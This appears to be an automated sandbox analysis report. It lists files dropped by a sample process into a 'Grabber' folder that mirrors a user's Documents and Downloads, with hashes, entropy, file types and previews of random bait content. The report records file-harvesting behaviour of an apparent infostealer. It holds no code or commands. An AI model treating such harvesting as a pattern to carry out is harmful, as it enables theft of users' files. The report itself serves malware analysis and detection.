Preview:	TQDFJHPUIUELSDZVLDSOEPJOAGZMFPGEGXRLLWCATKTXUFCCYBMLLTOAWXCBRXEASQCNMLCVLTUZVHIGECOSKDAKWRYISSWUBTJPNWVMOQIBOVCDGZBZLOBWHRRJWCIVVOOXQYXMXXZMUJFNAGIRMQEQNBGKVATBJCBUBSWVZNUBPOSGZZKDLPMWNJJYMXSJFTKODUAYUUUFMAXNGYJPXGZQGSVLQUGDVVRJNEOKUCNTIRLLCNKTYMTQNZJJKSKBSONPJUKRASZVNLIXIMVFHLBZMMQBRQMADRKDIUMEEGDUNISFUQIECDZCRHSRRYZPGKJVXJOWYFDCIFWRPIQIGFARPTXNAEOTZASGGBUAORTYTQKACAIMSIJTKMTNMLSJSOHBNKDCPBUROQGRJNZUWHAQAOIYBGRJZNQFPXFARCDCRYDEHQKZSBWQRIZUALGAGONASBDAUUWWGWMIACXEKQGBFHNSVOMSMNKHUCCICMZPSQBAOJSAJLHYYTHCBOJYRGLPACKOYWSINXQWZTVPZZGDMLUEMLVMWGYQVWJXSKGMTZXFWDQTDCMARKFNKCUZOJJCUBDFZIQECIQSBZWGGGYXJKXBOJMSDVJPFGXNBLAVKQLERCTILRLNODWOHUHAHUKXKKYDMHZJUTFVHEQDYGBYCPPMSUVFTBPYSDWSPRWOOVOMFFXVHKXCQNSANIDGQLMMNSDROMFQDXTGDYVZZKZMXJGFRGTCUUWAEMNPZJJQANNDMULSUEIOQHQUZBJGBBFBYEITVHYSXFUDFMPLOAIHQGZLPYMHUKXYLKLKILTNDAXWVKITWAKIJERKCLMHSEKWBLLPKKZZWHXZMSHTTCPRPQUXXDNKWNYSNTNWEZAVSUMPTOQBTAMVGRIMPCIHLVZDKXOJHRUGCUCYCCGSKYZFHLNROAETESAVZHHZSEDGXUMPIWCICTRSGZRIRINHSZURTKUBQMVZLOYEFVZZTFCGUJKCBMMLKUJTDVWC

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Documents\desktop.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	402
Entropy (8bit):	3.493087299556618
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qmUclLwr2FlDmo0IWF9klrgl2FlDmo0qjKAev:QCGwv4o0hlLwiF4o0UUsF4o01AM
MD5:	ECF88F261853FE08D58E2E903220DA14
SHA1:	F72807A9E081906654AE196605E681D5938A2E6C
SHA-256:	CAFEC240D998E4B6E92AD1329CD417E8E9CBD73157488889FD93A542DE4A4844
SHA-512:	82C1C3DD163FBF7111C7EF5043B009DAFC320C0C5E088DEC16C835352C5FFB7D03C5829F65A9FF1DC357BAE97E8D2F9C3FC1E531FE193E84811FB8C62888A36B
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.7.0.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.1.2.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.5.....

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Downloads\BJZFPPWAPT.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Downloads\BJZFPPWAPT.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Downloads\DUUDTUBZFW.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701195573484743
Encrypted:	false
SSDEEP:	24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
MD5:	2530C45A92F347020337052A8A7D7B00
SHA1:	7EB2D17587824A2ED8BA10D7C7B05E2180120498
SHA-256:	8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
SHA-512:	78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
Malicious:	false
Preview:	DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Downloads\EFOYFBOLXA.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Downloads\EIVQSAOTAQ.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692024230831571
Encrypted:	false
SSDEEP:	24:RXklo22NBtmSOCPX4hQpKZCuvImjwxwo1:v22NBtxOCYQ0EuwmMxz
MD5:	086908C2D2FAA8C9284EAB6D70682A47
SHA1:	1BCA47E5FFEC5FD3CE416A922BC3F905C8FE27C4
SHA-256:	40C76F418FBB2A515AF4DEC81E501CEB725FD4C916D50FCA1A82B9F5ABC1DCCF
SHA-512:	02C48E3CDA1DC748CD3F30B2384D515B50C1DFD63651554AD3D4562B1A47F5446098DCED47A0766D184DDB30B3F158ABEC5877C9CA28AB191CEBB0782C26B230
Malicious:	false
Preview:	EIVQSAOTAQGMTJLIEKHIWADNDLJLEWUUXVGOFMOKPHABQUHVNBFVSKQIGVIHICGEEXRLSTKQNZUKOHPLLTCYQSLQJMPWPWNUJFUONDXMYCCUPDUBYMPUSUKUOWWSWDLZMDWKNMUKNPKBXAJATSGOQUAMHMZDCDDJRHKOUEDMLSCIOXAHAUFDQKBUBESAKMMFMHDLSSVUQLOZXARPGPMGAAKVDEITBYGGXWIGUIJRVXQOBOIOJWPYSPHZBHWQTMDCUFCWBQSAZNRUOPCLATAERLBPATETXMFUGXBEGMNPKKEZVSRLCYPFEPWIAEINAMGSOXLYWMUKYSQACPSUTGHDCTFLXKAMLOCGYHCMAETHVZNZOCWWUHYAPHFILDNLLBMLSLXIMOFGWTDVLWPHHRGGAWSIGNXEJRIBIBLWFBUASCLZPUIVDERXYLWTNLLRLTFZJTTDGFOEYPFXIPHFKEXHOGEHSFYCCCTGNFQFYETBADKAEAOXYXJWDJWNZPEOBJZTKPLJPPMICDOWUIVDKBQQMHETDORVKZPOWTAZRBAQYYQHBNHIWFZXBILGKHZBLSQJJEIYBHUIDAOEXERQEUMMKBWDXSMLJVAZJQPZARLOBNSTUDCVKLCVBPTKTJWSMPMKSFOQPINFTNEGPVSYCWOXABSGFFKRQDFQEIJWDUMZKILALUHYQZGZOLYMKSAOZGUYCKJOJLYINHVKCTZVXLYIYPGOQZQQAGXVWEBSURTQECDRXYKQAJBEKDNSIHNBZCUBIKPKVWLUOFFCIZSKQBAAPGFMBASMUOKLLGWEHHMYDJCOQEKOBYLYWOOZLBASOJJYLIHZKUGUKHZQBIAVUPYHYEWAYGUFNARHCUKTFMLHSFLRVAELAFCQHPEFUSGNONWLLYQVUVSVEKHDRXJHDSSFJATGDRCTMICJWPFPKKLXECKUXREXEAQNPOBPRKFYRWIWXEWLAPUSHGKXWYYIJNUMGQHBJPMOYZIXPGOJLOQG

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Downloads\EOWRVPQCCS.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692990330209164
Encrypted:	false
SSDEEP:	24:NCzz4hMQMxH70HULgnraTryj1S0KEX64u+O572j79DwzpnQf8A:axH70cauYS0k4u+O125wtnm8A
MD5:	DD71B9C0322AD45992E56A9BCE43FE82
SHA1:	60945B6BC3027451A2E1CFA29D263A994F50E91A
SHA-256:	19AC62FD471E562088365029F7B0672623511CF3E58F2EF6DE1A15C14A2E94E7
SHA-512:	86EA2B42FEB542977FCF534B4708F7A07E09F4ACC413307E660B905408BC4AA9E26C50E907FA02379EA3EBFD18C532CC9DC269B6EA5994E3290082E429CAAE03
Malicious:	false
Preview:	EOWRVPQCCSGUYRPSSKREBPXVQXUWKHGDIJHLBLYMXTIUESLNTSFMRJGDSQHOWECQAJMENKQNNWPVETUPWMXJTCUIAKPCZEENXVLTKYPKROZPDEBFNAJOVCNEXQJFUHQCMLNHGMRJJIPLOMWFWJKKXSTRHWFVLVQPEMFBLDTSCCSXADJIIDQIYCEGSDEDZDWUEJLTYJHMYEHHMBFZCRDHXZVPESWNDGUEFQZTJFSJVKZMWREMIZGAIZANQJKWWXITTXHDQDZOEOGKCEMDUUBDTMNWBRSOWEKQXQDCYJXERQRAMVQCWCTYJPEAJUAWNBRQWGFJAHXJJFRYTZMSGCREPRECKHXXMJGSQEKUCUNCWUAAPBWQVSMWCJGYSLPHJJHJGXSMNLNICJMSGSWRKARHMQXLYSAOPDAPXSMORZLUWYOQTJQNKSCAJWRUEYRFPNOVSMNYRKMTSGRIFLOAJUGJYDTLINOTCEADKRENVYNODFSIJGSDCICIDXZTLLSKKJQSOHYTZRBSHPHXWZOOSKQIRSGPTAOQPBVJAMXOGPYNJMJXAKCTMRRTFCBPOAMNJORWRNZOGZMNBVCCZYQPOQOUXBGKNLFSQWAWEREFQBRDLTVHEFNRUSOARHJPRECDRMPANZRBGCANIUWEBUDVWLYHFTPGBHSZBZBEFUWFHUZPJOVMHGSINZWDUKWPGMGSNSSJNOMETOCJILXRQRGZQFAJCWYQEENIZIMHRBTZUYEOKCQXYLWCKFHOHCOVRVPNTEUARVJEFALBUVYXIYZRMGJWZNYNLPYHZSSCODVXZBIWXIOAVMGMPKCPYIFZIKWRIHNIYASXZLMOLNZOMMYUSCRZBCXRANWWODLPHCXXDPLNYLMHYIUYZJWQLECFNXQEERYDVDBPXOLGZLZQCVYUYKFZGKXWVDQANPXQYAATYFJALGENVLDMHDASWKNNXODUHLXYGCBUKEFWISCCUWXNUNETWMTQHQDJMAXNPFPLMPQO

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Downloads\EOWRVPQCCS.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692990330209164
Encrypted:	false
SSDEEP:	24:NCzz4hMQMxH70HULgnraTryj1S0KEX64u+O572j79DwzpnQf8A:axH70cauYS0k4u+O125wtnm8A
MD5:	DD71B9C0322AD45992E56A9BCE43FE82
SHA1:	60945B6BC3027451A2E1CFA29D263A994F50E91A
SHA-256:	19AC62FD471E562088365029F7B0672623511CF3E58F2EF6DE1A15C14A2E94E7
SHA-512:	86EA2B42FEB542977FCF534B4708F7A07E09F4ACC413307E660B905408BC4AA9E26C50E907FA02379EA3EBFD18C532CC9DC269B6EA5994E3290082E429CAAE03
Malicious:	false
Preview:	EOWRVPQCCSGUYRPSSKREBPXVQXUWKHGDIJHLBLYMXTIUESLNTSFMRJGDSQHOWECQAJMENKQNNWPVETUPWMXJTCUIAKPCZEENXVLTKYPKROZPDEBFNAJOVCNEXQJFUHQCMLNHGMRJJIPLOMWFWJKKXSTRHWFVLVQPEMFBLDTSCCSXADJIIDQIYCEGSDEDZDWUEJLTYJHMYEHHMBFZCRDHXZVPESWNDGUEFQZTJFSJVKZMWREMIZGAIZANQJKWWXITTXHDQDZOEOGKCEMDUUBDTMNWBRSOWEKQXQDCYJXERQRAMVQCWCTYJPEAJUAWNBRQWGFJAHXJJFRYTZMSGCREPRECKHXXMJGSQEKUCUNCWUAAPBWQVSMWCJGYSLPHJJHJGXSMNLNICJMSGSWRKARHMQXLYSAOPDAPXSMORZLUWYOQTJQNKSCAJWRUEYRFPNOVSMNYRKMTSGRIFLOAJUGJYDTLINOTCEADKRENVYNODFSIJGSDCICIDXZTLLSKKJQSOHYTZRBSHPHXWZOOSKQIRSGPTAOQPBVJAMXOGPYNJMJXAKCTMRRTFCBPOAMNJORWRNZOGZMNBVCCZYQPOQOUXBGKNLFSQWAWEREFQBRDLTVHEFNRUSOARHJPRECDRMPANZRBGCANIUWEBUDVWLYHFTPGBHSZBZBEFUWFHUZPJOVMHGSINZWDUKWPGMGSNSSJNOMETOCJILXRQRGZQFAJCWYQEENIZIMHRBTZUYEOKCQXYLWCKFHOHCOVRVPNTEUARVJEFALBUVYXIYZRMGJWZNYNLPYHZSSCODVXZBIWXIOAVMGMPKCPYIFZIKWRIHNIYASXZLMOLNZOMMYUSCRZBCXRANWWODLPHCXXDPLNYLMHYIUYZJWQLECFNXQEERYDVDBPXOLGZLZQCVYUYKFZGKXWVDQANPXQYAATYFJALGENVLDMHDASWKNNXODUHLXYGCBUKEFWISCCUWXNUNETWMTQHQDJMAXNPFPLMPQO

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Downloads\EWZCVGNOWT.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690071120548773
Encrypted:	false
SSDEEP:	24:Hpi2eIMaeHmnj0AhtUkcnKCORSCQH8qvLrUo:Hs2e4njIkc6xQH8qvv5
MD5:	8F49644C9029260CF4D4802C90BA5CED
SHA1:	0A49DD925EF88BDEA0737A4151625525E247D315
SHA-256:	C666CACFDB412CE2BC653F9E2F19484DE94216D950F8C304D1F1F8ADD2EE32CE
SHA-512:	CA63EE1758AFE40FB8569FB3FF5A52BED8A593DC163F5F2462CEBFE1EA4F3F7AB4561435912279C4371944F7C63068D7474AB9F38492F34567E10E5188338C7E
Malicious:	false
Preview:	EWZCVGNOWTCRGCAHGHIARWHBREQUWUMDZTEFKOZTBZKDHTGWOMOMXQJLCILTVOXJTWXEZRFVVOJJDUXCZNNWMUHQTYLHFYPOOBFJLGZGDSYZASNMWULDKVPIBSBESQVOBWTJCIQCCRZOQSMEFZAEOCFIPUXIHTROYFKQUTFSAUWBWISJHTVIQQEEIJVJHOBGZOPHDRBICMJCZJYKKJVLBUSHZHJSFDMYEGPBFRDSFIJIUADWYUWFSOFGQCFBFZHQMDWRKPFVNPDGQDAXYWPQENYPVCKPJTHAOXRLVMNFIOJBVFWANBCOTBENTFVQZCFBFDBMQUHCCCHMMQUOWSBCZYACVCNJFQKUCOMHGVNGGVDACUHMUYLJZQAKUNMISIRRZWDKBKSCPQEZJBHYOZZAXJVBHPFZNDXVHGWHNSVWMYZWRVIDTUCEOPZZRDVHTZKWHATLUHBDJSDWLCXQNXOWYUDQGZJKCAXDTIVXTBCQYHDKCAAFPJFSMAIFXPBWZRPFPKSDNBTLCMBJVBNHSANLTYRSVYQCPKAVQBYOUIOKJPCSLSZRHROXWWPPNZAAXTNVEINHTCLXLDMDBKYPOGMKCUIRVICNSACARZMRYFMXNDTHABPDGEHGCEAXGZZZNHYOCNFJZCIJNBBNBGAUMIROJJYSLPZARPCRZNPUZHXYZLDLXFPTCUWDLYNUMOSJWAOBYFOHEOOAGSALYXBYBYNOLNVRWYGBMDREEFNSPFBRMCNZKOZYEFYTGCMVSCLNGPIPBUDCPAMQEHOAUUBIQZZVXLYZWJOMBCITZXNLTEPYYRLUUAPJTGKEVKMNIMNQWNLLBUVLJOYGWJXXREBMWKGHQSRPNVJAECVNLXPVKWNPACZWFRCNSRBCRVPAPFJGUCNKUOOMSEURPZQJTKWTBOYFSFQOBHOUCLHWYMZMDGTXJBELWCWSQGBSNYBSEAJYTJCJQBKRUPJLBACULNATKEWAJTPTTOUKYDWVFZCDBMMO

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Downloads\GIGIYTFFYT.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.7020597455120665
Encrypted:	false
SSDEEP:	24:Yyd0vLZv9GwBegFWbhTY2P2m1O278kZUU3ZjGaIv:YhLZugsbh0m1bYUpjG9
MD5:	47F4925C44B6916FE1BEE7FBB1ACF777
SHA1:	D7BFAEF09A15A105540FC44D2C307778C0553CE5
SHA-256:	62FB407C253C01957EB5C9ED8075E409FD399C065B6478E5080FDC8573A1AED8
SHA-512:	6B4870B47569942B119533F4C519498D2E7D76FBBD36EC9CAE219BE800864CFA47FC65C98FDDA7D92C0B52F1EA381D7C3D5DC4DE204ABF04CED7F6C43004C1B8
Malicious:	false
Preview:	GIGIYTFFYTJMXILDVGFXDVEFQCHNFYFEULLQEETZRJVMRRJHJRTSPPAOMDMYNAGWNEBMIDVTHKVEEQISBNMPHNFVYDEIXBDPFHYTCLNZABIXDFYKJDBRYRTWDLZOXHMMCFSILUYMHVQPPEGCEUDABQUBALGXBEBBTFQFPGZCSFMMFCTBAMXKOPCAJHDRXWLGLWELWIKNGHWJKDKBDVZPNHUCSZFTPSDHZOUUHUWDVSEAQXIDUUMNXESGKGQYYBWVWCBVILKQLVAXNHJSZYYZUWKUTBRCTNQQXVQCKHLEJIFZFWACZEFAUJYVSEGBIHIZRMKJYWHTJECURPVKKWUKKOFVGYEOSDEDBUWBYBNHTAOSHDXDTPIWBWQANBSHMKUUHFNTKLQLSWCOLNGFZPIBZTKTDJTYYNNHDUOZEFWBJRQDBJTCXGDSCYEYJCUVSMWPBPZCBDOMCVGPOYMXSQANNOXIQBZMOMUCJZXAGIICUFLFDZJOBTEGSAQHEIBBWATDCJXSEIADCNGGARMLYLRJZSIBRRPFAORVDSNHOQWANXTRGLRQZZTEROQRQYBPGYXMSIGOYQMJDIJSQBFLNMQOGKOFUQVIWNLZBQMUSTEPCUCGVOFNLQMYFHDEDLGEYXHBHQNMKSASMZZEYCWBNZKYTKNRWJBUJJTXRIHTHPKRBWIFFKIBKCVEEYOHLCOOBFBXELQKMEOTDDLPFFLMCBOAJRNITAVONLYXBCYITNNXEUAVAVDHVGOGFHPXZDZUUQPRYTGQIFNRRHVDFAGSLTNZENPMFBPWMOHFFCIEPUUGBVHDOBSRPRHEPPLYLJUVAKAYIJRZKMAKRPYDSBIZTPWQFSZBWKYUIQXRDRUUPAWFEQRHVNMAPCFIPTHYPQPAZQNEACARWXUWSRKGERYPPRVAAPAVQYFCPYCRXLJQAMPXGLECYIZDRHPEMJPTXFOJABHMNZZHXHBCYXJEKEEQGKOA